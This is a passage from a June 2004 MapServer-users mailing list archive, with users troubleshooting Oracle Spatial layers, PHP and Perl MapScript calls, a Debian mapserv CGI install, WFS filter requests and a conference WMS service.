Friends. Fun. Try the all-new Yahoo! Messenger --0-1384096399-1087202199=:91801-- From merlos at tsc.uvigo.es Mon Jun 14 03:49:39 2004 From: merlos at tsc.uvigo.es (Merlos) Date: Mon, 14 Jun 2004 12:49:39 +0200 Subject: [Mapserver-users] Questions about MapServer 4.2/PHP Mapscript In-Reply-To: <8BE446FF-BDB3-11D8-9C51-0003934DD798@mac.com> References: <8BE446FF-BDB3-11D8-9C51-0003934DD798@mac.com> Message-ID: On Monday 14 June 2004 05:33, Ed Martin wrote: > i have some questions about the new version of mapserver before i > upgrade > 1. does it support php5 No > 2. will it work with php as a module I think you still need to compile PHP as a CGI > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From sbeorchia at gi-lemans.fr Mon Jun 14 04:47:11 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Mon, 14 Jun 2004 13:47:11 +0200 Subject: [Mapserver-users] oracle spatial mapfile References: Message-ID: <000501c45205$54a17cc0$8469850a@GILEMANS> RE: [Mapserver-users] oracle spatial mapfileHi, thanks. In fact my Mapserv.exe support Oracle. And i still got the error. What is exactly the oracle client dll ? i have Oracle 8.1.7 server installed on my pc. And do i have to include some SETENV var in my httpd.conf in Apache ? : SetEnv ORACLE_SID spa SetEnv ORACLE_BASE "c:/oracle" SetEnv ORACLE_HOME "c:/oracle/ora81" SetEnv ORA_NLS33 "c:/oracle/ora81/ocommon/nls/admin/data SetEnv NLS_LANG "AMERICAN AMERICA" Thank u. ----- Original Message ----- From: Smith, Michael ERDC-CRREL-NH To: 'Sylvain Beorchia ' ; 'mapserver-users at lists.gis.umn.edu ' Sent: Saturday, June 12, 2004 2:06 PM Subject: RE: [Mapserver-users] oracle spatial mapfile Sylvain, The error message indicates that Oracle Spatial support was not compiled in to mapserver. If you are using the unix/linux version you will need to add --with-oraclespatial=/path/to/oraclehome option to your configure command and re-make the build. If you are using Windows, there is a build including oraclespatial on the Mapserver download page but you'll need the oracle client dll's from otn.oracle.com . In either case, the data string is "geometry_column from table_name" so GEOLOC needs to be your geometry column. If you loaded your spatial data using OGR, the column is probably called ogr_geometry. Mike Smith ERDC/USACE michael.smith at erdc.usace.army.mil -----Original Message----- From: Sylvain Beorchia To: mapserver-users at lists.gis.umn.edu Sent: 6/11/2004 5:52 AM Subject: [Mapserver-users] oracle spatial mapfile Hi list, I try to display some data from oracle spatial in my mapserver project. It doesn't work. Here is my mapfile layer: LAYER NAME spa METADATA "DESCRIPTION" "Spatial" "LEGENDE" "1" "TYPE_LAYER" "ORA" END STATUS ON CONNECTIONTYPE oraclespatial CONNECTION "spa/sig at spa" DATA "GEOLOC from FP10010_LINES" TYPE LINE CLASS OUTLINECOLOR 0 0 0 COLOR 0 128 128 END END The data in the database are from some Mapinfo TabFiles. SO i've got a table FP10010_LINES with the GEOLOC field, that's why i've tried to retreive data with "GEOLOC from FP10010_LINES". So, when i launch my IE, i've got the following errors : "Warning: MapServer Error in msOracleSpatialLayerOpen(): OracleSpatial is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" "Fatal error: Call to a member function on a non-object in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" My oracle version is 8i (8.1.7) Any ideas ? Thank u. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From nicolas.fortin at ec.gc.ca Mon Jun 14 05:36:01 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Mon, 14 Jun 2004 08:36:01 -0400 Subject: [Mapserver-users] oracle spatial mapfile Message-ID: <118A9CF846431048B65C4AFB0E57C0ED037339@ECQCSTFMAIL1.quebec.int.ec.gc.ca> I don't know about apache... Oracle client dll is oci.dll. You should give access to the oracle folder to the internet anonymus user, it a commun mistake. You can easily find permission issue with filemon.exe Nicolas -----Message d'origine----- De : mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] De la part de Sylvain Beorchia Envoy? : Monday, June 14, 2004 7:47 AM ? : Smith, Michael ERDC-CRREL-NH; mapserver-users at lists.gis.umn.edu Objet : Re: [Mapserver-users] oracle spatial mapfile RE: [Mapserver-users] oracle spatial mapfileHi, thanks. In fact my Mapserv.exe support Oracle. And i still got the error. What is exactly the oracle client dll ? i have Oracle 8.1.7 server installed on my pc. And do i have to include some SETENV var in my httpd.conf in Apache ? : SetEnv ORACLE_SID spa SetEnv ORACLE_BASE "c:/oracle" SetEnv ORACLE_HOME "c:/oracle/ora81" SetEnv ORA_NLS33 "c:/oracle/ora81/ocommon/nls/admin/data SetEnv NLS_LANG "AMERICAN AMERICA" Thank u. ----- Original Message ----- From: Smith, Michael ERDC-CRREL-NH To: 'Sylvain Beorchia ' ; 'mapserver-users at lists.gis.umn.edu ' Sent: Saturday, June 12, 2004 2:06 PM Subject: RE: [Mapserver-users] oracle spatial mapfile Sylvain, The error message indicates that Oracle Spatial support was not compiled in to mapserver. If you are using the unix/linux version you will need to add --with-oraclespatial=/path/to/oraclehome option to your configure command and re-make the build. If you are using Windows, there is a build including oraclespatial on the Mapserver download page but you'll need the oracle client dll's from otn.oracle.com . In either case, the data string is "geometry_column from table_name" so GEOLOC needs to be your geometry column. If you loaded your spatial data using OGR, the column is probably called ogr_geometry. Mike Smith ERDC/USACE michael.smith at erdc.usace.army.mil -----Original Message----- From: Sylvain Beorchia To: mapserver-users at lists.gis.umn.edu Sent: 6/11/2004 5:52 AM Subject: [Mapserver-users] oracle spatial mapfile Hi list, I try to display some data from oracle spatial in my mapserver project. It doesn't work. Here is my mapfile layer: LAYER NAME spa METADATA "DESCRIPTION" "Spatial" "LEGENDE" "1" "TYPE_LAYER" "ORA" END STATUS ON CONNECTIONTYPE oraclespatial CONNECTION "spa/sig at spa" DATA "GEOLOC from FP10010_LINES" TYPE LINE CLASS OUTLINECOLOR 0 0 0 COLOR 0 128 128 END END The data in the database are from some Mapinfo TabFiles. SO i've got a table FP10010_LINES with the GEOLOC field, that's why i've tried to retreive data with "GEOLOC from FP10010_LINES". So, when i launch my IE, i've got the following errors : "Warning: MapServer Error in msOracleSpatialLayerOpen(): OracleSpatial is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" "Fatal error: Call to a member function on a non-object in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" My oracle version is 8i (8.1.7) Any ideas ? Thank u. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Tom.Kralidis at ec.gc.ca Mon Jun 14 06:02:17 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Mon, 14 Jun 2004 09:02:17 -0400 Subject: FW: [Mapserver-users] MUM2 WMS/WFS Message-ID: <2576812186CDD411BF1500508B6DCE9507366F9E@ecnwri1.ontario.int.ec.gc.ca> Hi, I should have mentioned that the URL below will work once you feed it into a WMS-aware client application. ..Tom Kralidis,Tom [Burlington] wrote: > Hi, > > First off, for those of you who attended OSGIS/MUM2, it was great to > finally put faces to the emails and such at the (great) conference. > > Anyways, as a public resource, the Conference Organizing Committee we > have stood up an OGC:WMS/OGC:WFS of the attendees of the conference > (with basic info such as name, org, email, url, city, country, etc.). > > DM Solutions Group has been gracious enough to host the service. Both > OGC:WMS and OGC:WFS are located at: > > http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2 > > Note that those who identified privacy are not included. If you do > not want to be included in these services, please let me know and I > will remove you from the data. > > Cheers > > ..Tom > > ========================= > Tom Kralidis > Systems Scientist > Environment Canada > Tel: +01-905-336-4409 > http://www.ec.gc.ca/ > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Gerry Creager -- gerry.creager at tamu.edu Texas Mesonet -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From moeller at basis5.de Mon Jun 14 06:04:58 2004 From: moeller at basis5.de (=?ISO-8859-1?Q?Lars_M=F6ller?=) Date: Mon, 14 Jun 2004 15:04:58 +0200 Subject: [Mapserver-users] cgi-apt-get debian Message-ID: <40CDA27A.2050404@basis5.de> hello list, has someone installed mapserver via apt-get on debian? it installs the mapserv under /usr/lib/cgi-bin/mapserv calling the file directly gives: This script can only be used to decode form results and should be initiated as a CGI process via a httpd server. that should be ok. calling mapser -V gives: MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE that is also ok. if I copie the file (mapserv) in the cgi -directory of the apache and calling it from the web i get internal server error. what is wrong? thanks for ideas and help lars From simon at inf.univali.br Mon Jun 14 06:05:29 2004 From: simon at inf.univali.br (Fernando S.) Date: Mon, 14 Jun 2004 10:05:29 -0300 Subject: [Mapserver-users] oracle spatial mapfile In-Reply-To: <000501c45205$54a17cc0$8469850a@GILEMANS> References: <000501c45205$54a17cc0$8469850a@GILEMANS> Message-ID: <40CDA299.1090308@inf.univali.br> Hi Sylvain, Try to find in your system where are "oci.dll" (windows) or "oci.h" (linux). And one more question, what do you want draw using mapserv/oraclespatial? ----------------------------------------------------------------------------------- Fernando Simon Data Base Manager, Mapserv and Oracle Spatial developer G10 - Laboratorio de Computacao Aplicada g10.cttmar.univali.br ------------------------------------------------------------------------------------ Sylvain Beorchia wrote: >RE: [Mapserver-users] oracle spatial mapfileHi, thanks. >In fact my Mapserv.exe support Oracle. And i still got the error. >What is exactly the oracle client dll ? i have Oracle 8.1.7 server installed >on my pc. >And do i have to include some SETENV var in my httpd.conf in Apache ? : > > SetEnv ORACLE_SID spa > SetEnv ORACLE_BASE "c:/oracle" > SetEnv ORACLE_HOME "c:/oracle/ora81" > SetEnv ORA_NLS33 "c:/oracle/ora81/ocommon/nls/admin/data > SetEnv NLS_LANG "AMERICAN AMERICA" > >Thank u. > >----- Original Message ----- >From: Smith, Michael ERDC-CRREL-NH >To: 'Sylvain Beorchia ' ; 'mapserver-users at lists.gis.umn.edu ' >Sent: Saturday, June 12, 2004 2:06 PM >Subject: RE: [Mapserver-users] oracle spatial mapfile > > > Sylvain, >The error message indicates that Oracle Spatial support was not compiled in >to mapserver. If you are using the unix/linux version you will need to >add --with-oraclespatial=/path/to/oraclehome option to your configure >command and re-make the build. If you are using Windows, there is a build >including oraclespatial on the Mapserver download page but you'll need the >oracle client dll's from otn.oracle.com . >In either case, the data string is "geometry_column from table_name" so >GEOLOC needs to be your geometry column. If you loaded your spatial data >using OGR, the column is probably called ogr_geometry. >Mike Smith >ERDC/USACE >michael.smith at erdc.usace.army.mil >-----Original Message----- >From: Sylvain Beorchia >To: mapserver-users at lists.gis.umn.edu >Sent: 6/11/2004 5:52 AM >Subject: [Mapserver-users] oracle spatial mapfile >Hi list, >I try to display some data from oracle spatial in my mapserver project. >It >doesn't work. >Here is my mapfile layer: >LAYER > NAME spa > METADATA > "DESCRIPTION" "Spatial" > "LEGENDE" "1" > "TYPE_LAYER" "ORA" > END > STATUS ON > CONNECTIONTYPE oraclespatial > CONNECTION "spa/sig at spa" > DATA "GEOLOC from FP10010_LINES" > TYPE LINE > CLASS > OUTLINECOLOR 0 0 0 > COLOR 0 128 128 > END > END >The data in the database are from some Mapinfo TabFiles. SO i've got a >table >FP10010_LINES with the GEOLOC field, that's why i've tried to retreive >data >with "GEOLOC from FP10010_LINES". >So, when i launch my IE, i've got the following errors : > "Warning: MapServer Error in msOracleSpatialLayerOpen(): >OracleSpatial >is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" > "Fatal error: Call to a member function on a non-object in >C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" > > >My oracle version is 8i (8.1.7) >Any ideas ? >Thank u. >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From bartvde at xs4all.nl Mon Jun 14 06:26:23 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Mon, 14 Jun 2004 15:26:23 +0200 (CEST) Subject: [Mapserver-users] still need wfs help In-Reply-To: <20040614095955.31039.qmail@maboque.srv.clix.pt> References: <20040614095955.31039.qmail@maboque.srv.clix.pt> Message-ID: <21135.207.107.247.18.1087219583.squirrel@webmail.xs4all.nl> Hi, the GetCapabilities interface is the main interface of any OGC webservice. It is a request to the service. Try the following type of request on your mapserver: http://localhost:81/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&request=GetCapabilities Best regards, Bart > Thanks. I?ve tried something like your example and I had success.When you > refer to GetCapabilities interface, are you talking about WFS > specification or to mapserver documentation?--- Mensagem Original ---De: > "" bartvde at xs4all.nlPara: "" > cristinanoversa at clix.ptEnviado a: 2004/06/11Assunto: Re: [Mapserver-users] > still need wfs helpHi, the things you are trying won't work. Within is not > supported, see the GetCapabilities interface for what is supported. Here > is an example I use: > http://localhost:81/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=Gemeentes&request=getfeature&Filter=%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3EGEMNAAM%3C/PropertyName%3E%3CLiteral%3EAmsterdam%3C/Literal%3E%3C/PropertyIsEqualTo%3E%3C/Filter%3E > The filter is then in a more readable for! > mat: GEMNAAM Amsterdam Try reading more about Filters in the OGC Filter > specification. Best regards, Bart From sbeorchia at gi-lemans.fr Mon Jun 14 06:14:27 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Mon, 14 Jun 2004 15:14:27 +0200 Subject: [Mapserver-users] change style dynamically - getstyle References: <118A9CF846431048B65C4AFB0E57C0ED037339@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Message-ID: <002401c45211$85a45e80$8469850a@GILEMANS> Hi list, I try to change the symbology of my object dynamically inside my PHP code, i try this : $sym1 = $gpoMap->getSymbolByName ( "BF125" ); $class = $oLayer->getClass (0); $style = $class->getStyle(0); $style->color->setRGB(0, 255, 0); $style->set ( 'symbol', $sym1 ); $pt = ms_newPointObj(); $pt->setXY( 2100000, 10100000 ); $pt->draw($gpoMap, $oLayer, $image, 0, "Pt1"); This code is supposed to add a point on my layer according to the symbology i try to set. But i've got this error : Fatal error: Call to undefined function: getstyle() in C:\epcenter\pub\htdocs\gmap.php3 on line 984 Is GetStyle always available ? I'm using Mapserver 4, Apache 2 , PHP 4. Thanks. Sylvain. From sbeorchia at gi-lemans.fr Mon Jun 14 06:29:51 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Mon, 14 Jun 2004 15:29:51 +0200 Subject: [Mapserver-users] oracle spatial mapfile References: <000501c45205$54a17cc0$8469850a@GILEMANS> <40CDA299.1090308@inf.univali.br> Message-ID: <002b01c45213$ac7dd340$8469850a@GILEMANS> Hi, oci.dll is in C:\oracle\ora81\bin\ With oracle spatial i want to draw some polygons, points and texts. ----- Original Message ----- From: "Fernando S." To: "Sylvain Beorchia" ; Sent: Monday, June 14, 2004 3:05 PM Subject: Re: [Mapserver-users] oracle spatial mapfile > Hi Sylvain, > Try to find in your system where are "oci.dll" (windows) or "oci.h" > (linux). > And one more question, what do you want draw using > mapserv/oraclespatial? > > -------------------------------------------------------------------------- --------- > Fernando Simon > Data Base Manager, Mapserv and Oracle Spatial developer > G10 - Laboratorio de Computacao Aplicada > g10.cttmar.univali.br > -------------------------------------------------------------------------- ---------- > > Sylvain Beorchia wrote: > > >RE: [Mapserver-users] oracle spatial mapfileHi, thanks. > >In fact my Mapserv.exe support Oracle. And i still got the error. > >What is exactly the oracle client dll ? i have Oracle 8.1.7 server installed > >on my pc. > >And do i have to include some SETENV var in my httpd.conf in Apache ? : > > > > SetEnv ORACLE_SID spa > > SetEnv ORACLE_BASE "c:/oracle" > > SetEnv ORACLE_HOME "c:/oracle/ora81" > > SetEnv ORA_NLS33 "c:/oracle/ora81/ocommon/nls/admin/data > > SetEnv NLS_LANG "AMERICAN AMERICA" > > > >Thank u. > > > >----- Original Message ----- > >From: Smith, Michael ERDC-CRREL-NH > >To: 'Sylvain Beorchia ' ; 'mapserver-users at lists.gis.umn.edu ' > >Sent: Saturday, June 12, 2004 2:06 PM > >Subject: RE: [Mapserver-users] oracle spatial mapfile > > > > > > Sylvain, > >The error message indicates that Oracle Spatial support was not compiled in > >to mapserver. If you are using the unix/linux version you will need to > >add --with-oraclespatial=/path/to/oraclehome option to your configure > >command and re-make the build. If you are using Windows, there is a build > >including oraclespatial on the Mapserver download page but you'll need the > >oracle client dll's from otn.oracle.com . > >In either case, the data string is "geometry_column from table_name" so > >GEOLOC needs to be your geometry column. If you loaded your spatial data > >using OGR, the column is probably called ogr_geometry. > >Mike Smith > >ERDC/USACE > >michael.smith at erdc.usace.army.mil > >-----Original Message----- > >From: Sylvain Beorchia > >To: mapserver-users at lists.gis.umn.edu > >Sent: 6/11/2004 5:52 AM > >Subject: [Mapserver-users] oracle spatial mapfile > >Hi list, > >I try to display some data from oracle spatial in my mapserver project. > >It > >doesn't work. > >Here is my mapfile layer: > >LAYER > > NAME spa > > METADATA > > "DESCRIPTION" "Spatial" > > "LEGENDE" "1" > > "TYPE_LAYER" "ORA" > > END > > STATUS ON > > CONNECTIONTYPE oraclespatial > > CONNECTION "spa/sig at spa" > > DATA "GEOLOC from FP10010_LINES" > > TYPE LINE > > CLASS > > OUTLINECOLOR 0 0 0 > > COLOR 0 128 128 > > END > > END > >The data in the database are from some Mapinfo TabFiles. SO i've got a > >table > >FP10010_LINES with the GEOLOC field, that's why i've tried to retreive > >data > >with "GEOLOC from FP10010_LINES". > >So, when i launch my IE, i've got the following errors : > > "Warning: MapServer Error in msOracleSpatialLayerOpen(): > >OracleSpatial > >is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" > > "Fatal error: Call to a member function on a non-object in > >C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" > > > > > >My oracle version is 8i (8.1.7) > >Any ideas ? > >Thank u. > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > From eduardo at consultoria.eti.br Mon Jun 14 06:38:01 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Mon, 14 Jun 2004 10:38:01 -0300 Subject: [Mapserver-users] MUM2 WMS failed Message-ID: <20040614133801.17430.qmail@hm47.locaweb.com.br> Hi, I tried to access the link http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2 using JUMP but got the following error: ++++++++++ java.io.IOException: Server returned HTTP response code: 400 for URL: http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2?request=capabilities&WMTVER=1.0 at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source) at java.net.URL.openStream(Unknown Source) at com.vividsolutions.wms.WMService.initialize(WMService.java:71) at com.vividsolutions.jump.workbench.ui.plugin.wms.URLWizardPanel.exitingToRight(URLWizardPanel.java:127) at com.vividsolutions.jump.workbench.ui.wizard.WizardDialog.nextButton_actionPerformed(WizardDialog.java:269) at com.vividsolutions.jump.workbench.ui.wizard.WizardDialog$3.actionPerformed(WizardDialog.java:210) at javax.swing.AbstractButton.fireActionPerformed(Unknown Source) at javax.swing.AbstractButton$ForwardActionEvents.actionPerformed(Unknown Source) at javax.swing.DefaultButtonModel.fireActionPerformed(Unknown Source) at javax.swing.DefaultButtonModel.setPressed(Unknown Source) at javax.swing.plaf.basic.BasicButtonListener.mouseReleased(Unknown Source) at java.awt.Component.processMouseEvent(Unknown Source) at java.awt.Component.processEvent(Unknown Source) at java.awt.Container.processEvent(Unknown Source) at java.awt.Component.dispatchEventImpl(Unknown Source) at java.awt.Container.dispatchEventImpl(Unknown Source) at java.awt.Component.dispatchEvent(Unknown Source) at java.awt.LightweightDispatcher.retargetMouseEvent(Unknown Source) at java.awt.LightweightDispatcher.processMouseEvent(Unknown Source) at java.awt.LightweightDispatcher.dispatchEvent(Unknown Source) at java.awt.Container.dispatchEventImpl(Unknown Source) at java.awt.Window.dispatchEventImpl(Unknown Source) at java.awt.Component.dispatchEvent(Unknown Source) at java.awt.EventQueue.dispatchEvent(Unknown Source) at java.awt.EventDispatchThread.pumpOneEventForHierarchy(Unknown Source) at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown Source) at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown Source) at java.awt.Dialog$1.run(Unknown Source) at java.awt.Dialog.show(Unknown Source) at java.awt.Component.show(Unknown Source) at java.awt.Component.setVisible(Unknown Source) at com.vividsolutions.jump.workbench.ui.plugin.wms.AddWMSQueryPlugIn.execute(AddWMSQueryPlugIn.java:83) at com.vividsolutions.jump.workbench.plugin.AbstractPlugIn$1.actionPerformed(AbstractPlugIn.java:121) at javax.swing.AbstractButton.fireActionPerformed(Unknown Source) at javax.swing.AbstractButton$ForwardActionEvents.actionPerformed(Unknown Source) at javax.swing.DefaultButtonModel.fireActionPerformed(Unknown Source) at javax.swing.DefaultButtonModel.setPressed(Unknown Source) at javax.swing.AbstractButton.doClick(Unknown Source) at javax.swing.plaf.basic.BasicMenuItemUI.doClick(Unknown Source) at javax.swing.plaf.basic.BasicMenuItemUI$MouseInputHandler.mouseReleased(Unknown Source) at java.awt.Component.processMouseEvent(Unknown Source) at java.awt.Component.processEvent(Unknown Source) at java.awt.Container.processEvent(Unknown Source) at java.awt.Component.dispatchEventImpl(Unknown Source) at java.awt.Container.dispatchEventImpl(Unknown Source) at java.awt.Component.dispatchEvent(Unknown Source) at java.awt.LightweightDispatcher.retargetMouseEvent(Unknown Source) at java.awt.LightweightDispatcher.processMouseEvent(Unknown Source) at java.awt.LightweightDispatcher.dispatchEvent(Unknown Source) at java.awt.Container.dispatchEventImpl(Unknown Source) at java.awt.Window.dispatchEventImpl(Unknown Source) at java.awt.Component.dispatchEvent(Unknown Source) at java.awt.EventQueue.dispatchEvent(Unknown Source) at java.awt.EventDispatchThread.pumpOneEventForHierarchy(Unknown Source) at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown Source) at java.awt.EventDispatchThread.pumpEvents(Unknown Source) at java.awt.EventDispatchThread.pumpEvents(Unknown Source) at java.awt.EventDispatchThread.run(Unknown Source) ++++++++++ a question: does it have something to do I am behind a proxy server? is there WMS/WFS browser website available on the web? so that I don't need to connect from my machine to the server... it shold go from the website to the server. thanks Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From simon at inf.univali.br Mon Jun 14 06:53:57 2004 From: simon at inf.univali.br (Fernando S.) Date: Mon, 14 Jun 2004 10:53:57 -0300 Subject: [Mapserver-users] oracle spatial mapfile In-Reply-To: <002b01c45213$ac7dd340$8469850a@GILEMANS> References: <000501c45205$54a17cc0$8469850a@GILEMANS> <40CDA299.1090308@inf.univali.br> <002b01c45213$ac7dd340$8469850a@GILEMANS> Message-ID: <40CDADF5.3080403@inf.univali.br> Hi, How Nicolas suggest, the problem can be the permission to access this dll. Try to define the correct permission and execute your aplication again. ================================================================== Fernando Simon - simon at cttmar.univali.br ================================================================== DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa??o Aplicada http://g10.cttmar.univali.br ================================================================== Sylvain Beorchia wrote: >Hi, > >oci.dll is in C:\oracle\ora81\bin\ >With oracle spatial i want to draw some polygons, points and texts. > >----- Original Message ----- >From: "Fernando S." >To: "Sylvain Beorchia" ; > >Sent: Monday, June 14, 2004 3:05 PM >Subject: Re: [Mapserver-users] oracle spatial mapfile > > > > >>Hi Sylvain, >> Try to find in your system where are "oci.dll" (windows) or "oci.h" >>(linux). >> And one more question, what do you want draw using >>mapserv/oraclespatial? >> >>-------------------------------------------------------------------------- >> >> >--------- > > >>Fernando Simon >>Data Base Manager, Mapserv and Oracle Spatial developer >>G10 - Laboratorio de Computacao Aplicada >>g10.cttmar.univali.br >>-------------------------------------------------------------------------- >> >> >---------- > > >>Sylvain Beorchia wrote: >> >> >> >>>RE: [Mapserver-users] oracle spatial mapfileHi, thanks. >>>In fact my Mapserv.exe support Oracle. And i still got the error. >>>What is exactly the oracle client dll ? i have Oracle 8.1.7 server >>> >>> >installed > > >>>on my pc. >>>And do i have to include some SETENV var in my httpd.conf in Apache ? : >>> >>> SetEnv ORACLE_SID spa >>> SetEnv ORACLE_BASE "c:/oracle" >>> SetEnv ORACLE_HOME "c:/oracle/ora81" >>> SetEnv ORA_NLS33 "c:/oracle/ora81/ocommon/nls/admin/data >>> SetEnv NLS_LANG "AMERICAN AMERICA" >>> >>>Thank u. >>> >>>----- Original Message ----- >>>From: Smith, Michael ERDC-CRREL-NH >>>To: 'Sylvain Beorchia ' ; 'mapserver-users at lists.gis.umn.edu ' >>>Sent: Saturday, June 12, 2004 2:06 PM >>>Subject: RE: [Mapserver-users] oracle spatial mapfile >>> >>> >>>Sylvain, >>>The error message indicates that Oracle Spatial support was not compiled >>> >>> >in > > >>>to mapserver. If you are using the unix/linux version you will need to >>>add --with-oraclespatial=/path/to/oraclehome option to your configure >>>command and re-make the build. If you are using Windows, there is a build >>>including oraclespatial on the Mapserver download page but you'll need >>> >>> >the > > >>>oracle client dll's from otn.oracle.com . >>>In either case, the data string is "geometry_column from table_name" so >>>GEOLOC needs to be your geometry column. If you loaded your spatial data >>>using OGR, the column is probably called ogr_geometry. >>>Mike Smith >>>ERDC/USACE >>>michael.smith at erdc.usace.army.mil >>>-----Original Message----- >>>From: Sylvain Beorchia >>>To: mapserver-users at lists.gis.umn.edu >>>Sent: 6/11/2004 5:52 AM >>>Subject: [Mapserver-users] oracle spatial mapfile >>>Hi list, >>>I try to display some data from oracle spatial in my mapserver project. >>>It >>>doesn't work. >>>Here is my mapfile layer: >>>LAYER >>> NAME spa >>> METADATA >>> "DESCRIPTION" "Spatial" >>> "LEGENDE" "1" >>> "TYPE_LAYER" "ORA" >>> END >>> STATUS ON >>> CONNECTIONTYPE oraclespatial >>> CONNECTION "spa/sig at spa" >>> DATA "GEOLOC from FP10010_LINES" >>> TYPE LINE >>> CLASS >>> OUTLINECOLOR 0 0 0 >>> COLOR 0 128 128 >>> END >>> END >>>The data in the database are from some Mapinfo TabFiles. SO i've got a >>>table >>>FP10010_LINES with the GEOLOC field, that's why i've tried to retreive >>>data >>>with "GEOLOC from FP10010_LINES". >>>So, when i launch my IE, i've got the following errors : >>> "Warning: MapServer Error in msOracleSpatialLayerOpen(): >>>OracleSpatial >>>is not supported in C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 616" >>> "Fatal error: Call to a member function on a non-object in >>>C:\ms4w\apps\gmap\htdocs\gmap.php3 on line 617" >>> >>> >>>My oracle version is 8i (8.1.7) >>>Any ideas ? >>>Thank u. >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >>> >>> > > > From lfilak at medinaco.org Mon Jun 14 07:18:52 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 14 Jun 2004 10:18:52 -0400 Subject: [Mapserver-users] Shapefile attributes from mapscript::shapefileObj? Message-ID: <20040614141846.10C0B1A6DED@mail.medinaco.org> Remember that attributes are stored in the associatted DBF file and accessed through XBase.pm - need to run - hope that get's your started. There are some examples in the wiki that should also help. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex2 Lowell The following message was sent by "Ethan Alpert" on Wed, 9 Jun 2004 15:34:37 -0600. > > > Ok I give up how can I get attributes of shapes from a shapefile using > PERL mapscript? > > I need to extract the attributes to create labels and everything I've > tried gives me nothing. I have 33 points in a shapefile and each point > has a name and an elevation as attributes. I can see these in Arc > Explorer so I know they're there. > > Thanks, > > -e > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jychoi at ecn.purdue.edu Mon Jun 14 07:45:40 2004 From: jychoi at ecn.purdue.edu (Jin-Yong Choi) Date: Mon, 14 Jun 2004 09:45:40 -0500 Subject: [Mapserver-users] WMSClient and libcurl Message-ID: <40CDBA14.4040901@ecn.purdue.edu> --------------010704040004080003000702 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I'd like to compile MapServer for wmsclient. While trying to run configure, I met the error follows. I 